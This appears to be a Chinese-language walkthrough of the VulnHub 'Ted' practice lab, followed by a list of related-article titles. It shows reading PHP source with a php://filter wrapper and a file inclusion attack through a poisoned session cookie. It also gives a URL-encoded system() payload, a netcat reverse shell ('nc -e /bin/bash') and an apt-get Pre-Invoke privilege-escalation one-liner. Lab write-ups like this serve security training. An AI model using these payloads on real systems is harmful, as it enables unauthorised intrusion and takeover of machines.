1.下载靶场:

https://download.vulnhub.com/ted/Ted.7zhttps://download.vulnhub.com/ted/Ted.7z2.解压然后用vm打开,网络改为桥接模式:

3.浏览器打开默认端口80:

有一个登录框:

用户名是admin,密码也是admin,但是用了sha方式加密大写:

登入之后,有一个文件搜索框:

没有sql注入,试一下文件读取:

还存在着一个authenticate.php文件,用php伪协议读取一下,结果用base64解码一下:

php://filter/read=convert.base64-encode/resource=authenticate.php

authenticate.php

<?phpsession_start();$DATABASE_HOST = 'localhost';$DATABASE_USER = 'user';$DATABASE_PASS = 'password';$DATABASE_NAME = 'dbname';// Try and connect using the info above.$con = mysqli_connect($DATABASE_HOST, $DATABASE_USER, $DATABASE_PASS, $DATABASE_NAME);if ( mysqli_connect_errno() ) {// If there is an error with the connection, stop the script and display the error.die ('Failed to connect to MySQL: ' . mysqli_connect_error());}// Now we check if the data from the login form was submitted, isset() will check if the data exists.if ( !isset($_POST['username'], $_POST['password']) ) {// Could not get the data that should have been sent.header('Location: home.php');}// Prepare our SQL, preparing the SQL statement will prevent SQL injection.if ($stmt = $con->prepare('SELECT id, password FROM accounts WHERE username = ?')) {// Bind parameters (s = string, i = int, b = blob, etc), in our case the username is a string so we use "s"$stmt->bind_param('s', $_POST['username']);$stmt->execute();// Store the result so we can check if the account exists in the database.$stmt->store_result();}if ($stmt->num_rows > 0) {$stmt->bind_result($id, $password);$stmt->fetch();// Account exists, now we verify the password.// Note: remember to use password_hash in your registration file to store the hashed passwords.if ($_POST['password'] ==  $password) {// Verification success! User has loggedin!// Create sessions so we know the user is logged in, they basically act like cookies but remember the data on the server.session_regenerate_id();$_SESSION['loggedin'] = TRUE;$_SESSION['name'] = $_POST['username'];$_SESSION['id'] = $id;setcookie('user_pref','/',time() + (86400 * 30), "/");header('Location: home.php');} elseif ($_POST['password'] == "admin") {echo "<p>Password hash is not correct, make sure to hash it before submit.</p>";header('Location: index.php');} else {echo "<p>Password or password hash is not correct, make sure to hash it before submit.</p>";header('Location: index.php');}} else {echo "<p>Username is not correct.</p>";header('Location: index.php');}$stmt->close();
?>

home.php

<?phpsession_start();if (!isset($_SESSION['loggedin'])) {header('Location: index.html');exit();}$_SESSION['user_pref'] = $_COOKIE['user_pref'];
?><!DOCTYPE html>
<html><head><meta charset="utf-8"><title>Home Page</title><link href="style.css" rel="stylesheet" type="text/css"><link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css"></head><body class="loggedin"><nav class="navtop"><div><h1>Simple File Browser</h1><a href="logout.php">Logout</a></div></nav><div class="content"><h2>Home</h2><p>Welcome back, <?=$_SESSION['name'];?>!</p><br><div class="inner_content"><form method="post" action="home.php"><input type="text" id="search" name"search" placeholder="Search.." name="search"><button type="submit">Search</button></form><br><br><?php if (isset($_POST['search'])) {echo "Showing results for ".$_POST['search'].":";echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";} include($_POST['search']);?></div><a href="cookie.php">Cookies Policy</a><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><center>avrahamcohen.ac@gmail.com</center></div></body>
</html>
$_SESSION['user_pref'] = $_COOKIE['user_pref'];

可以使用cookie中的user_pref字段写入session文件或者直接执行命令:


<?php system("uname -a")>
url编码:
%3C?php%20system(%22uname%20-a%22)?%3E

可以写入webshell,或者nc反弹:

<?php system(“nc -e /bin/bash ip 4444”) ?>
url编码:
%3C?php%20system(%22nc%20-e%20/bin/bash%20ip%204444%22)%C2%A0?%3E

反弹成功:

用apt命令提权:

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

ok。

vulnhub-ted靶场相关推荐

  1. vulnhub DC1 靶场练习

    前言 这次练习的是vulnhub平台下的DC系列靶机第一台,下载地址为https://www.vulnhub.com/entry/dc-1,292.该靶机的难度系数为简单,其中有五个flag,我们在练 ...

  2. vulnhub Gigachad 靶场练习

    前言 这次我们练习的靶机是从vulnhub下载的靶机Gigachad:1,该靶机的难易程度为简单. 下载地址为https://www.vulnhub.com/entry/gigachad-1,657/ ...

  3. vulnhub DC7 靶场练习

    前言 这次练习的靶机是vulnhub平台下的DC系列靶机第7台,下载地址为https://www.vulnhub.com/entry/dc-7,356/.挑战该靶机的最终目的是获取root权限,然后读 ...

  4. 【Bulldog】靶场记录

    前言: 漏洞复现有点乏味并且时效性不强,所以我就开始下载vulnhub上的靶场进行练习,但是操作自己是了解的,就是想不到这种方法,还是靶场练习的太少了,所以本人要坚持练习靶场,然后把练习过程记录下来, ...

  5. 【内网星球3.0】红队之靶场集中营(聊聊都是哪60个靶场)

    2019年11月我们选择了知识星球,星球给我们带来了第一批忠实的粉丝,也带来了很多快乐的时光,今年因为主要精力放在培训上面,而忽略了星球,这也让很多星友很是失望,不过我们不会放弃星球. 目前星球大概可 ...

  6. CTF综合靶场渗透系列-Billu_b0x

    Billu_b0x 文章目录 Billu_b0x 前言 目标 运行环境 信息收集 漏洞挖掘 测试首页SQL注入 利用文件包含漏洞获取php源码.passwd文件 通过得到的mysql密码登录phpmy ...

  7. 网络主机扫描nmap之详讲

    由于对信息收集功夫还不够深,为此为多多积攒经验,于是开始刷vulnhub系列靶场,由此中途总结各种工具使用,博客于2022年9月4号起会每天进行不定量更新,若有师傅一起探讨技术欢迎留言. 众所周知,对 ...

  8. 一、CTF-Web-信息泄露(记录CTF学习)

    目录 1.源码泄露 1-1.页面源代码泄露 1-2.敏感文件泄露 1-2-1.备份(.swp/.bak/.beifen/~/phps等) 1-2-2.数据库(mdb) 1-2-3.压缩包(zip/ta ...

  9. oracle vm 加载ova,vmware导入ova文件踩坑记小结

    问题来源 众所周知,所有的网络行为都会产生相应的网络流量,那么所有的网络攻击行为也有其对应的流量特点,那么是否能根据流量特点进而分析出其对应的是什么攻击行为呢? 我在虚拟机上使用vulnhub的靶场环 ...

  10. 【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-10

    目录 目录 第58天:权限提升-网站权限后台漏洞第三方获取 第59天:权限提升-Win溢出漏洞及AT&SC&PS提权 第60天:权限提升-MY&MS&ORA等SQL数据 ...

最新文章

  1. RHEL5(CentOS)下nginx+php+mysql+tomcat+memchached配置全过程(转)
  2. 权限设计的一些想法和思考
  3. 浅析手机端网站建设的基本流程
  4. 【转】【Android】使用BaseAdapter实现复杂的ListView
  5. android配置文件说明
  6. html5实现贪吃蛇,分享一个用html5实现的贪吃蛇特效代码
  7. Qt Creator常用快捷键及技巧提升编码效率
  8. P7115-[NOIP2020]移球游戏【构造】
  9. x264 scan8存储分析
  10. react-native ES5与ES6写法对照表
  11. 也谈政府机关服务器资源的有效利用
  12. catia 创成钣金设计_应用Inventor进行钣金设计
  13. 最新王者荣耀发卡网源码,手机电脑自适应
  14. 基于Java Swing的进销存管理系统
  15. Windows电脑如何开启CPU虚拟化
  16. 总结移动开发入行十周年
  17. 3.5 Python 实例4-文本进度条
  18. spring boot学习2,日志框架
  19. 关于playerunknown's battlegrounds中归零距离小谈
  20. jquery input标签中 中checkbox全部选中与全部取消

热门文章

  1. Linux常见日志文件和常用命令
  2. 小数点用计算机怎么用,用Windows计算器进行小数数制转换的方法
  3. 我的计算机生涯--开始
  4. linux运维前景2018,Linux运维工程师为什么越来越受企业重视?
  5. 【小河今学 | Bootstrap-v3+animate+wow】制作一个简单的响应式网站
  6. Word高版本打开低版本显示兼容模式
  7. 如何查看IIS并发连接数
  8. MySQL8.0Clone插件
  9. HTTP 协议简单理解与总结
  10. rabbitmq默认guest登录问题